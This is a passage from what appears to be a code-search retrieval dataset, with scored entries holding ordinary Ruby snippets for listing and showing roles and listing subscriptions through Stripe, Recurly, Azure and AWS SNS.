"543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "543f69608ea399d4f2b2c69c175d5af6", "score": "0.7039715", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "d2445230e727702dd070610848ada80c", "score": "0.703849", "text": "def index\n @roles = Role.fetch_ordered_by_page(params[\"page\"])\n end", "title": "" }, { "docid": "aba15a15db19bed67d81aff36eea71c6", "score": "0.7022354", "text": "def index\n @roles = Role.all\n end", "title": "" }, { "docid": "d8aade97e49abb22454fbdc22c833944", "score": "0.70203406", "text": "def get_role(id)\n return @client.raw(\"get\", \"/config/roles/#{id}\")\n end", "title": "" }, { "docid": "d6bbc7194a0f3264d729e9e2042bfff5", "score": "0.7019962", "text": "def get_all_user_roles\n path = \"/d2l/api/lp/#{$lp_ver}/roles/\"\n _get(path)\n # RETURNS: a JSON array of Role data blocks\nend", "title": "" }, { "docid": "0182214a14a2bac064f6d693e09f87f4", "score": "0.7018462", "text": "def show\n @user_role = UserRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_role }\n end\n end", "title": "" }, { "docid": "0182214a14a2bac064f6d693e09f87f4", "score": "0.70164317", "text": "def show\n @user_role = UserRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_role }\n end\n end", "title": "" }, { "docid": "1898dd7ca016da7375357a0f415d8636", "score": "0.7014078", "text": "def show\n @role = Role.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json =>@role }\n end\n end", "title": "" }, { "docid": "023c6dc7627ec9f6dae6f484f8315c81", "score": "0.6998836", "text": "def index\n @api_v1_user_roles = Api::V1::UserRole.all\n end", "title": "" }, { "docid": "19dd0d805dac283cf91bade4dd415b99", "score": "0.69751626", "text": "def show\n @users_role = UsersRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users_role }\n end\n end", "title": "" }, { "docid": "ccbe704d5c33d8cf8f0499ae5a420ce1", "score": "0.6974953", "text": "def index\n\t@roles = Role.all\n\tend", "title": "" }, { "docid": "b042d49d754320c403fa5cce4e89f671", "score": "0.69553745", "text": "def get\n @user = User.where(\"role=?\", params[:id])\n if @user.present?\n render json: @user\n else\n render json: {status: 'Error in load'}, status: :not_found\n end\n end", "title": "" }, { "docid": "980ff6cbd29feb8a9142227486831eed", "score": "0.69524705", "text": "def roles\n @roles ||= api_client.get_roles\n end", "title": "" }, { "docid": "2943001e3b7f19a2f00807bd89ac7a34", "score": "0.69282997", "text": "def index\n\t\t@roles = Role.all\n\tend", "title": "" }, { "docid": "be058a3bcf939f47b58fbb946bede5d9", "score": "0.69074094", "text": "def show\n respond_with Role.find(params[:id])\n end", "title": "" }, { "docid": "c3af250af9ffdf1356cca60dc16d877c", "score": "0.6898863", "text": "def index\n authorize! :read, Role\n @roles = Role.all\n end", "title": "" }, { "docid": "9583cb04777eb72becc515941c81f743", "score": "0.68620676", "text": "def index\n @users = User.all\n @roles = Role.all.map{|role| {'value' => role.id.to_s, 'text' => role.name}}.to_json\n end", "title": "" }, { "docid": "4018910a45ebfb47b237e1dbd7255b9b", "score": "0.68586785", "text": "def show\n render json: @user_role\n end", "title": "" }, { "docid": "065bff7bdb5582bade2001e3a8ea27f5", "score": "0.684684", "text": "def show\n @role = @stage.roles.find(params[:id])\n\n respond_with(@role)\n end", "title": "" }, { "docid": "3dd6f2f8437105e3dee43f4cd8a40bd0", "score": "0.68466896", "text": "def show\n @role = Role.find(params[:id])\n end", "title": "" }, { "docid": "3dd6f2f8437105e3dee43f4cd8a40bd0", "score": "0.68466896", "text": "def show\n @role = Role.find(params[:id])\n end", "title": "" }, { "docid": "3dd6f2f8437105e3dee43f4cd8a40bd0", "score": "0.68466896", "text": "def show\n @role = Role.find(params[:id])\n end", "title": "" }, { "docid": "3dd6f2f8437105e3dee43f4cd8a40bd0", "score": "0.68466896", "text": "def show\n @role = Role.find(params[:id])\n end", "title": "" }, { "docid": "3dd6f2f8437105e3dee43f4cd8a40bd0", "score": "0.68466896", "text": "def show\n @role = Role.find(params[:id])\n end", "title": "" }, { "docid": "3dd6f2f8437105e3dee43f4cd8a40bd0", "score": "0.68466896", "text": "def show\n @role = Role.find(params[:id])\n end", "title": "" }, { "docid": "3dd6f2f8437105e3dee43f4cd8a40bd0", "score": "0.68466896", "text": "def show\n @role = Role.find(params[:id])\n end", "title": "" }, { "docid": "a5796d4fd2ac253df991d4a77fb163ac", "score": "0.6845639", "text": "def resources_roles\n Role.all(:id => roles)\n end", "title": "" }, { "docid": "14815f88a261855c7bd9481d7f4f303b", "score": "0.68406403", "text": "def show\r\n @userrole = Userrole.find_by_user_id(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @userrole }\r\n end\r\n end", "title": "" }, { "docid": "72babc7b81611c4561757389786a27dc", "score": "0.6839102", "text": "def index\n @roles = getmydata(\"Role\")\n\tpagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end", "title": "" }, { "docid": "0d06fd9d704893d4b5a51bc6e9b95a41", "score": "0.68285096", "text": "def show\n authorize @client, :index?\n @roles = Role.list_availables\n end", "title": "" }, { "docid": "c164dab9af95d7bfccb54bcff079f188", "score": "0.6824106", "text": "def list_roles(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/role/list'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end", "title": "" }, { "docid": "44b27efc3e7530c3dbfcf23ae11d2de4", "score": "0.6822069", "text": "def user_roles(id = 'my')\n collection_from_response(RoleCollection, Role, :get, \"userRole/#{id}\")\n end", "title": "" }, { "docid": "5359d8f8540dd5b63413ce64c5a0bc8e", "score": "0.6818794", "text": "def show\n @employee = Employee.find(params[:id])\n @roles = Role.where(name: ['cashier','admin'])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @employee }\n end\n end", "title": "" }, { "docid": "b1488076b55bdd6671861bc6a152d4f2", "score": "0.6815263", "text": "def get_roles\n @roles = Rol.order(:name)\n end", "title": "" }, { "docid": "82a57873f03e273d8a5b7f3bd1f9ebf2", "score": "0.6808425", "text": "def index\n @page_count, @roles = Locomotive::Role.paginated(:page => (params[:page] || 1).to_i)\n display @roles\n end", "title": "" }, { "docid": "0ad3428b16d133a1dbda09a0ac5406ea", "score": "0.6802753", "text": "def show\n @role = Role.find(params[:id])\n checkaccountobject(\"roles\",@role)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "c04826f3f7591c1a6afca389272a1861", "score": "0.67975736", "text": "def role\n roles.first\n end", "title": "" }, { "docid": "c04826f3f7591c1a6afca389272a1861", "score": "0.67975736", "text": "def role\n roles.first\n end", "title": "" }, { "docid": "c04826f3f7591c1a6afca389272a1861", "score": "0.67975736", "text": "def role\n roles.first\n end", "title": "" }, { "docid": "864e7ff2fcd310365b34f29b8f3dacd9", "score": "0.6795881", "text": "def show\n @user = current_user\n @data = JSON(@world.role_table)\n @data.each do |user_id, role|\n puts user_id\n puts role\n end\n end", "title": "" }, { "docid": "dfab255d99499ec4df74592d553f134e", "score": "0.67911744", "text": "def get_all_roles\n _get('roles', ApiRole, true)\n end", "title": "" }, { "docid": "91d6e6da7bf36033c8333e8e65cbaca4", "score": "0.67823243", "text": "def index\n @roles = Role.all.order('id asc')\n end", "title": "" }, { "docid": "5f220fed790c1a1c05eb41dc64303421", "score": "0.6780834", "text": "def user_roles(id, options={})\n get(\"1/users/#{id}/roles\", options)\n end", "title": "" }, { "docid": "5f220fed790c1a1c05eb41dc64303421", "score": "0.6780834", "text": "def user_roles(id, options={})\n get(\"1/users/#{id}/roles\", options)\n end", "title": "" }, { "docid": "ddbf002cc21c64b111e84ed1f0e2138e", "score": "0.6770142", "text": "def show\n @rol = Role.find(params[:id])\n end", "title": "" }, { "docid": "ab034c438f73c507b32efce35430fc6b", "score": "0.67698175", "text": "def show\n authorize @role, :index?\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @role }\n end\n end", "title": "" }, { "docid": "12d6a46f777ce99225874622183d2f30", "score": "0.6767406", "text": "def index\n @user = User.find(params[:user_id])\n @roles = Role.find(:all)\n# respond_to do |format|\n# format.html # index.html.erb\n# format.xml { render :xml => @roles }\n# end\n end", "title": "" }, { "docid": "2abdf600a9f5ea35929b08fe17db9b5c", "score": "0.6765219", "text": "def index\n @roles = Role\n .order(:id)\n .page(params[:page])\n end", "title": "" }, { "docid": "bebb2f1aa78281c6b2cce7735c59e9ff", "score": "0.6756363", "text": "def index\n @q = @roles.search params[:q]\n @roles = @q.result.page(params[:page])\n end", "title": "" }, { "docid": "71228dbe070bbee69af0be8f2377d0c2", "score": "0.67490727", "text": "def index\n @roles = Xmt::Rbac::Role.all.page(params[:page])\n end", "title": "" } ]
d1e795d3c3266dc20395e4ea7749fc1e
Yield each subscription belonging to this account.
[ { "docid": "97c574c9b198cc819b775dad60ec1c7b", "score": "0.76317734", "text": "def each\n next_token = nil\n begin\n opts = request_opts\n opts[:next_token] = next_token if next_token\n resp = client.send(list_request, opts)\n resp.subscriptions.each do |sub|\n subscription = Subscription.new(sub.subscription_arn,\n :endpoint => sub.endpoint,\n :protocol => sub.protocol.tr('-','_').to_sym,\n :owner_id => sub.owner,\n :topic_arn => sub.topic_arn,\n :config => config\n )\n yield(subscription)\n end\n next_token = resp.data[:next_token]\n end until next_token.nil?\n nil\n end", "title": "" } ]
[ { "docid": "51d283af6b5ab0d5e81cae03acde91b6", "score": "0.72584325", "text": "def subscriptions(&block)\n @nr.chunkedIterator(APIInfo[:subscriptions], {metricId:@id}, block)\n return self\n end", "title": "" }, { "docid": "e4a7d7c3be4ecbdac5fd65a3c2929209", "score": "0.6842177", "text": "def subscriptions\n Subscription.all( {:customer_id => id} )\n end", "title": "" }, { "docid": "983cf16fa201d2a767f1cd56e31fd554", "score": "0.67615193", "text": "def get_subscriptions\r\n Subscription.new.list\r\n end", "title": "" }, { "docid": "9a19b61ee0c80c9e379f43acbc01ccd3", "score": "0.6704306", "text": "def subscriptions\n url = url_with_api_version(configuration.api_version, @base_url, 'subscriptions')\n response = rest_get(url)\n JSON.parse(response.body)[\"value\"].map{ |hash| Azure::Armrest::Subscription.new(hash) }\n end", "title": "" }, { "docid": "88be117547e29746f9b9da0e6c65e385", "score": "0.669975", "text": "def subscriptions\n Azure::Armrest::SubscriptionService.new(self).list\n end", "title": "" }, { "docid": "3accb6f05ae356bd04784219929f27b0", "score": "0.6696809", "text": "def all(options = nil)\n request = Request.new(@client)\n path = \"/subscriptions\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n a = Array.new\n body = response.body\n for v in body['subscriptions']\n tmp = Subscription(@client)\n tmp.fill_with_data(v)\n a.push(tmp)\n end\n\n return_values.push(a)\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "2abe23fc4143bfa878fdbab5664d4d26", "score": "0.6662402", "text": "def list_subscriptions\n Azure::Armrest::SubscriptionService.new(configuration).list\n end", "title": "" }, { "docid": "38d8c7663fa1a790aa64d4de85007a82", "score": "0.65798914", "text": "def subscriptions\n response = self.class.get \"/GetSubscriptions\"\n\n success = response.fetch \"success\"\n\n if success\n subscriptions = response.fetch \"subscriptions\"\n\n return subscriptions.map do |subscription|\n create_subscription subscription\n end.compact\n else\n raise Error, response.fetch(\"error\")\n end\n end", "title": "" }, { "docid": "c277467b6a989b2c4779d362852bd538", "score": "0.6559701", "text": "def subscriptions(options = nil)\n request = Request.new(@client)\n path = \"/customers/\" + CGI.escape(@id) + \"/subscriptions\"\n data = {\n\n }\n\n response = Response.new(request.get(path, data, options))\n return_values = Array.new\n \n a = Array.new\n body = response.body\n for v in body['subscriptions']\n tmp = Subscription(@client)\n tmp.fill_with_data(v)\n a.push(tmp)\n end\n\n return_values.push(a)\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "1b950423a0cc5514942f16ea6dde2ec1", "score": "0.6547067", "text": "def all\n data = service.list_subscriptions.to_h[:subscriptions] || []\n load(data)\n end", "title": "" }, { "docid": "3b71409ed64c3b7454fb41cda5ecfc78", "score": "0.6465809", "text": "def get_all_subscriptions(**options)\n \t\tsubscriptions = client.get(subscriptions_path(options))\n\n \t\treturn [] if subscriptions[\"subscriptions\"].empty?\n \t\tresponse = subscriptions[\"subscriptions\"].map { |subscription_data| Subscription.new(subscription_id: subscription_data[\"_id\"],\n url: subscription_data[\"url\"],\n payload: subscription_data)}\n \t\tSubscriptions.new(limit: subscriptions[\"limit\"],\n page: subscriptions[\"page\"],\n page_count: subscriptions[\"page_count\"],\n subscriptions_count: subscriptions[\"subscription_count\"],\n payload: response\n )\n \tend", "title": "" }, { "docid": "31bb94a77ae3e9f99750ea0af4779a55", "score": "0.6436416", "text": "def subscriptions\n invoice_line_items_by_type('subscription')\n end", "title": "" }, { "docid": "df073d1f6fb8ed3444798e814f79a155", "score": "0.6372182", "text": "def subscribers_paginated\n resource_url = \"v1/mailinglists/#{data(:id)}/subscribers/%{page}/%{size}\"\n\n ret = []\n aos.read_paginated_response(resource_url) do |sub_data|\n sub = ApsisOnSteroids::Subscriber.new(\n aos: self.aos,\n data: aos.parse_obj(sub_data)\n )\n\n if block_given?\n yield sub\n else\n ret << sub\n end\n end\n\n return ret\n end", "title": "" }, { "docid": "b135203a8b16dcb8eec8300b6f173832", "score": "0.63414645", "text": "def subscriptions\n Resource.client.subscriptions(self)\n end", "title": "" }, { "docid": "f8402a75e8fb269268db9e50218f4551", "score": "0.6325043", "text": "def list_my_subscriptions()\n path = \"/api/v2/utilities/subscriptions\"\n get(path)\n end", "title": "" }, { "docid": "8c4e3682a2b566bbd9df0039db72dcc2", "score": "0.63219374", "text": "def list_subscriptions\n @client.execute!(api_method: @mirror.subscriptions.list).data\n end", "title": "" }, { "docid": "968f68e612729001eb909208ce34cad6", "score": "0.62913376", "text": "def get_subscription\n Product.find_each.map(&:name).each do |product_name|\n return subscription(name: product_name)\n end\n end", "title": "" }, { "docid": "df83b4840281160e9f327d77a2017027", "score": "0.62687343", "text": "def list_subscriptions_by_account(accountId, options={}) path = \"/api/v2/accounts/#{accountId}/subscriptions\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "f49472304780ec401a4828118c609f83", "score": "0.6264665", "text": "def get_subscribers(subscription_id)\r\n Subscription.new(subscription_id).getSubscriber.list\r\n end", "title": "" }, { "docid": "2a7f9badfd701ac1c414a5d32d178b90", "score": "0.62269723", "text": "def subscriptions(page = 1)\n Dropio::Resource.client.subscriptions(self, page)\n end", "title": "" }, { "docid": "8ac675396cfb7a0f170f5d5aa87bf19d", "score": "0.6223554", "text": "def subscriptions\n @subscriptions ||= Services::SubscriptionsService.new(@api_service)\n end", "title": "" }, { "docid": "660a5a82c79170b6bb9a355f11e5e6c6", "score": "0.6222912", "text": "def subscriptions()\n return MicrosoftGraph::Drives::Item::Items::Item::Subscriptions::SubscriptionsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "title": "" }, { "docid": "9cec73f2293541cf69ce8bc3fb9dac85", "score": "0.62057596", "text": "def subscriptions\n Subscription.filter(:fiction => self)\n end", "title": "" }, { "docid": "0ee055d104b2e1a49ce1888ddc669d6a", "score": "0.6177479", "text": "def subscriptions\n @subscriptions ||= []\n end", "title": "" }, { "docid": "512ec18d8a462939c198e9d0d19e4b8b", "score": "0.6175239", "text": "def subscriptions(userId:nil, &block)\n chunkedIterator(APIInfo[:subscriptions], { userId: userId }, block)\n return self\n end", "title": "" }, { "docid": "037a13d9fbedc14fda6a7b4c444e4e77", "score": "0.61715686", "text": "def subscriptions\n @subscriptions ||= Core::Collection.new(\n self,\n :topic,\n Subscriptions::Subscription,\n @subscription_service\n )\n end", "title": "" }, { "docid": "bba13e45080a61ffe107bc94b02e2939", "score": "0.61453396", "text": "def subscriptions\n @subscriptions ||= SubscriptionsApi.new config\n end", "title": "" }, { "docid": "bcd0df0f359cc880f4937f3281de087c", "score": "0.61384", "text": "def subscriptions\n @subscriptions ||= SubscriptionsApi.new @global_configuration\n end", "title": "" }, { "docid": "081792e39395b5651d16b539248b45a4", "score": "0.61320335", "text": "def subscriptions(subscription_type)\n query = {\n :module => 'SubscriptionFeed',\n :subscription_type => CGI.escape(subscription_type)\n }.merge(@auth)\n self.do_get(query)\n end", "title": "" }, { "docid": "7f6be295fd960d8dd90cb759d0f114de", "score": "0.6129976", "text": "def subscriptions\n return @subscriptions\n end", "title": "" }, { "docid": "7f6be295fd960d8dd90cb759d0f114de", "score": "0.6129976", "text": "def subscriptions\n return @subscriptions\n end", "title": "" }, { "docid": "3fb07c399b7b4f20e8208ccdb3318290", "score": "0.61097676", "text": "def subscriptions\n connection.select_values(\"SELECT sub_name FROM pglogical.subscription\").collect do |s|\n subscription_show_status(s)\n end\n end", "title": "" }, { "docid": "48ca7c69f08a873655e78eb3bbd4d505", "score": "0.6083672", "text": "def subscriptions\n res=nil\n params = {\n 'TopicArn' => \"#{@arn}\",\n 'Action' => 'ListSubscriptionsByTopic',\n 'SignatureMethod' => 'HmacSHA256',\n 'SignatureVersion' => 2,\n 'Timestamp' => Time.now.iso8601,\n 'AWSAccessKeyId' => AmazeSNS.akey\n }\n \n reactor{\n generate_request(params) do |response|\n parsed_response = Crack::XML.parse(response.response)\n arr = parsed_response['ListSubscriptionsByTopicResponse']['ListSubscriptionsByTopicResult']['Subscriptions']['member'] unless (parsed_response['ListSubscriptionsByTopicResponse']['ListSubscriptionsByTopicResult']['Subscriptions'].nil?)\n\n if !(arr.nil?) && (arr.instance_of?(Array))\n res = arr\n elsif !(arr.nil?) && (arr.instance_of?(Hash))\n # to deal with one subscription issue\n nh={}\n key = arr[\"SubscriptionArn\"]\n arr.delete(\"SubscriptionArn\")\n nh[key.to_s] = arr\n res = nh\n else\n res = []\n end\n EM.stop\n end\n }\n res\n end", "title": "" }, { "docid": "d20c265fc9fa620ca213d9fec7a3bcfe", "score": "0.6064199", "text": "def subscription_ids\n return @subscription_ids\n end", "title": "" }, { "docid": "f1c1fc3ac901de884fa159290ca3b1b3", "score": "0.6045478", "text": "def subscriptions options = {}\n ensure_connection!\n resp = connection.list_subscriptions options\n if resp.success?\n Subscription::List.from_resp resp, connection\n else\n fail ApiError.from_response(resp)\n end\n end", "title": "" }, { "docid": "d83aa71f07529cd8e3084aa1fa51f1da", "score": "0.6044758", "text": "def get_subscriptions_from_all_nodes\n iq = basic_pubsub_query(:get)\n entities = iq.pubsub.add(REXML::Element.new('subscriptions'))\n res = nil\n @stream.send_with_id(iq) { |reply|\n if reply.pubsub.first_element('subscriptions')\n res = []\n reply.pubsub.first_element('subscriptions').each_element('subscription') { |subscription|\n res << Jabber::PubSub::Subscription.import(subscription)\n }\n end\n }\n\n res\n end", "title": "" }, { "docid": "5df3b737294d18655b62dda87cf56583", "score": "0.6043418", "text": "def subscriptions options = {}\n ensure_connection!\n resp = connection.list_subscriptions options\n if resp.success?\n Subscription::List.from_response resp, connection\n else\n fail ApiError.from_response(resp)\n end\n end", "title": "" }, { "docid": "79f23e569f2f5c053a6582280ec6bd88", "score": "0.6041099", "text": "def list_subaccounts\n base_url = rave_object.base_url\n\n response = get_request(\"#{base_url}#{BASE_ENDPOINTS::SUBACCOUNT_ENDPOINT}\", {\"seckey\" => rave_object.secret_key.dup}) \n\n return handle_subaccount_response(response)\n end", "title": "" }, { "docid": "c2f387215841b3f236a865c095578199", "score": "0.60323006", "text": "def subscription\n # Rails.cache.fetch(\"#{cache_key}/subscription\", expires_in: 30.days) do\n Stripe::Customer.retrieve({ id: self.stripe_customer_id }, api_key: self.stripe_api_key).subscriptions.first\n # end\n end", "title": "" }, { "docid": "c55525c8fa4bcefd2a240b30b5b2d2d7", "score": "0.6015396", "text": "def list\n url = subscriptions_url + \"?api-version=#{api_version}\"\n response = rest_get(url)\n Azure::Armrest::ArmrestCollection.create_from_response(response, Azure::Armrest::Subscription)\n end", "title": "" }, { "docid": "e2e84c91389a9420a12205f29fecbd1f", "score": "0.6014609", "text": "def set_subscriptions\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "4b03eb3e3847c63a1e81bc7d3b0af132", "score": "0.6005238", "text": "def get_subscriptions_from_node\n iq = basic_pubsub_active_calls_query(:get)\n\n entities = iq.pubsub.add(REXML::Element.new('subscriptions'))\n entities.attributes['node'] = \"/me/#{@jid}\"\n\n res = []\n @stream.send_with_id(iq) { |reply|\n if reply.pubsub.first_element('subscriptions')\n reply.pubsub.first_element('subscriptions').each_element('subscription') { |subscription|\n res << Jabber::PubSub::Subscription.import(subscription)\n }\n end\n }\n res\n end", "title": "" }, { "docid": "a8a82a9494bc8b2a34e5c7c6f06a8b48", "score": "0.59957147", "text": "def subscriptions(opts)\n get make_subscription_url(opts), make_headers(opts)\n end", "title": "" }, { "docid": "772454f4d1b07fe24c78f1cfe2396877", "score": "0.5995613", "text": "def subscriptions\n \t# Data from GET request\n query = params[\"query\"]\n page = params[\"page\"].to_i\n\n if page < 1 || !page\n page = 1\n end\n\n return search_subscriptions(query, page)\n end", "title": "" }, { "docid": "038bd6b99bd29cbd01476d0974206b83", "score": "0.59488106", "text": "def subscribers\n subscriptions.map(&:subscriber)\n end", "title": "" }, { "docid": "4b3789c7af3ef225a234e59dd71b4c96", "score": "0.5926764", "text": "def subscribe_all\n @config.subscriptions.size.times do\n current\n select_next_consumer\n end\n end", "title": "" }, { "docid": "2c10a171201ac8adafbe72957fc83ee1", "score": "0.5914293", "text": "def subscriptions\n @subscriptions ||= []\n end", "title": "" }, { "docid": "5c00e186d4e2351fe4e1ad3758a2c93f", "score": "0.5904793", "text": "def subscriptions(query={})\n self.class.get(\"/users/subscriptions.json\", :query => query)\n end", "title": "" }, { "docid": "f380a0cf617473e97a08af45bdb43d29", "score": "0.59044784", "text": "def subscriptions\n @plan.subscriptions.map do |subscription|\n {\n actions: ['PUT'],\n name: subscription.subscriber&.name,\n callback: subscription.callback_uri\n }\n end\n end", "title": "" }, { "docid": "0595c8df0984c61864989c256f24bf36", "score": "0.58978677", "text": "def subscriptions\n subs = pubsub.find_first('ns:subscriptions', :ns => self.class.registered_ns)\n unless subs\n self.pubsub << (subs = XMPPNode.new('subscriptions', self.document))\n end\n subs\n end", "title": "" }, { "docid": "565a160ef009e21b6e756e4dec5f7741", "score": "0.588073", "text": "def index\n @subscriptions = current_user.subscriptions\n end", "title": "" }, { "docid": "2dd215f769f766130b9e6757a8a3ec35", "score": "0.5879845", "text": "def subscriptions\n caffeinate_campaign.caffeinate_campaign_subscriptions\n end", "title": "" }, { "docid": "532ed9ee5faff8179f0647a0b1c60167", "score": "0.5872474", "text": "def subscriptions\n @plan.subscriptions.map do |subscription|\n {\n actions: ['PUT'],\n name: subscription.subscriber.name,\n callback: subscription.callback_uri\n }\n end\n end", "title": "" }, { "docid": "87d92ba9e04435cfb6c5620436684395", "score": "0.5863791", "text": "def subscribers\n subscriptions.map { |s| s.user }\n end", "title": "" }, { "docid": "fc3809fafeda4c53ba38bb37a34d7e86", "score": "0.5860956", "text": "def query_subscriptions(options={}) path = \"/api/v2/subscriptions\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "cc752134fc516b8849afd438d0316593", "score": "0.5860402", "text": "def read_subscriptions()\n begin\n endpoint = \"/restapi/v1.0/subscription\"\n resp = $platform.get(endpoint)\n if (resp.body['records'].length == 0)\n puts (\"No subscription.\")\n else\n for record in resp.body['records'] do\n puts JSON.pretty_generate(JSON.parse(record.to_json))\n delete_subscription(record['id'])\n end\n end\n rescue StandardError => e\n puts e\n end\nend", "title": "" }, { "docid": "ab0fef586e335abc471ad9e052983be4", "score": "0.5859963", "text": "def subscriptions\n Subscription.where(offer: id)\n end", "title": "" }, { "docid": "873f2c26f04fd053be2d4c082de159dd", "score": "0.5797266", "text": "def all\n response = api_request(:get, \"/subscribers.xml\")\n return [] unless response.has_key?(\"subscribers\")\n response[\"subscribers\"].collect{|data| Subscriber.new(data)}\n end", "title": "" }, { "docid": "acfda9a764ef7dd8a3969881ad3a67dd", "score": "0.5786713", "text": "def list_subscriptions options = {}\n list_params = { project: project_path(options),\n page_token: options[:token],\n page_size: options[:max]\n }.delete_if { |_, v| v.nil? }\n list_req = Google::Pubsub::V1::ListSubscriptionsRequest.new(\n list_params)\n\n execute { subscriber.list_subscriptions list_req }\n end", "title": "" }, { "docid": "5de5d37ae994bbb2a4c46c9969b383c3", "score": "0.5777733", "text": "def index\n @admin_subscriptions = Admin::Subscription.all\n end", "title": "" }, { "docid": "5276cc4b6e2a015dc409a484ddaee469", "score": "0.57711494", "text": "def subscribe_all\n @sub_tracker.subscribe_all\n end", "title": "" }, { "docid": "2b4d25a64cccc3117fc5f2fb36b9fcb7", "score": "0.5759619", "text": "def next_subscription\n\t\tend", "title": "" }, { "docid": "d51d13455ce23fe28c321d26efc929e0", "score": "0.5743201", "text": "def get_block_subscriptions\n auth_refresh unless logged_in?\n options = {\n headers: { 'Authorization' => \"Bearer #{@access_token}\" }\n }\n response = self.class.get(\"/blocksubscriptions\", options)\n\n if response.success?\n parsed = response.parsed_response\n parsed = parsed.collect{ |s| Hashie.symbolize_keys!(s) }\n return parsed\n else\n raise_error(response)\n end\n end", "title": "" }, { "docid": "b9da0b241805b55fbe3cfef275fe8c9b", "score": "0.57252306", "text": "def subscription_retrieve\n Stripe::Subscription.retrieve(\n @user,\n )\n end", "title": "" }, { "docid": "8512aa45f814297139b57fd70f67637c", "score": "0.57200384", "text": "def channel_subscriptions\n @channel_subscriptions ||= ChannelSubscriptions.new(self)\n end", "title": "" }, { "docid": "21ffe9efd3e6a1ec4a653cb7f880f89e", "score": "0.57192606", "text": "def update_subscriptions\n @subscription = @customer.subscription\n @options[:prorate] ||= ChargebeeRails.configuration.proration\n @result = ChargeBee::Subscription.update(@subscription.chargebee_id, @options)\n @plan = Plan.find_by(plan_id: @result.subscription.plan_id)\n @subscription.update(subscription_attrs)\n end", "title": "" }, { "docid": "fe7b8dfa3b2054924c801312514993be", "score": "0.57133156", "text": "def index\n @subscription_tab = 'active'\n @subscriptions = current_user.companies.collect{|c| c.subscriptions}.flatten\n end", "title": "" }, { "docid": "503cd6bdbdab31ac10cfedefa7a1adf1", "score": "0.5708825", "text": "def subscriptions(user=login, options = {})\n paginate user_path(user, 'subscriptions'), options\n end", "title": "" }, { "docid": "1c9be18d03803ed6fd884bfb5c21c9dd", "score": "0.57067746", "text": "def recurly_APISubscriptionInfo()\r\n puts ' * recurly_APISubscriptionInfo'\r\n # Pagination in the ruby client is done using\r\n # the Recurly::Pager class.\r\n\r\n # You can also create a Pager directly from any resource\r\n Recurly::Subscription.paginate.class\r\n #=> Recurly::Resource::Pager\r\n\r\n # paginate optionally takes the sorting and filtering params\r\n # if you want to specify them\r\n opts = {\r\n begin_time: DateTime.new(2016,1,1),\r\n end_time: DateTime.new(2035,1,1),\r\n #state: :collected,\r\n per_page: 300\r\n }\r\n\r\n # find_each will fetch the pages for you\r\n # until there are none left. It presents\r\n # all the subscription on the server as a single enumerable\r\n # Push all the uuid-s to an array for listing.\r\n puts ' ' \r\n puts ' - All subscription uuid-s '\r\n mySubscriptions = []\r\n Recurly::Subscription.paginate(opts).find_each do |subscription|\r\n puts subscription.uuid.to_s #.invoice_number\r\n mySubscriptions.push(subscription.uuid.to_s) \r\n end\r\n puts \" - End of list\"\r\n puts \" \" \r\n puts \" - Number of subscriptions: \" + mySubscriptions.length().to_s\r\n # Now get the first /each/ subscription minimal details\r\n puts ' - Every subscriptions details '\r\n mySubscriptions.each do | theSubscription | \r\n puts ' - Find: ' + theSubscription.to_s\r\n subscription = Recurly::Subscription.find( theSubscription.to_s ) #by uuid ('4028618e3d55d0862b6bb04194baef72')\r\n puts ' - uuid: ' + subscription.uuid.to_s #.invoice_number\r\n puts ' - plan_code: ' + subscription.plan_code.to_s\r\n puts ' - customer_notes: ' + subscription.customer_notes.to_s\r\n puts ' - collection_method: ' + subscription.collection_method.to_s\r\n puts ' - state: ' + subscription.state.to_s\r\n puts ' '\r\n end\r\n #\r\n puts ' - Return: true - Pager found data.'\r\n return true\r\nend", "title": "" }, { "docid": "983e64a8aa1d57cb310c8d55909971b5", "score": "0.5700575", "text": "def make_subscriptions\r\n\t\t\r\n\t\t\r\n\t\tusers = User.all\r\n\t\tuser = users.first\r\n\t\tsubscribees = users[1..50]\t\r\n\t\tsubscribers = users[3..40]\r\n\t\t\r\n\t\tsubscribees.each { |subscribee| user.subscribe_to!(subscribee)}\r\n\t\tsubscribers.each { |subscriber| subscriber.subscribe_to!(user)}\r\n\tend", "title": "" }, { "docid": "a315997e18606da8e4e46ddcfbf9005c", "score": "0.56999284", "text": "def 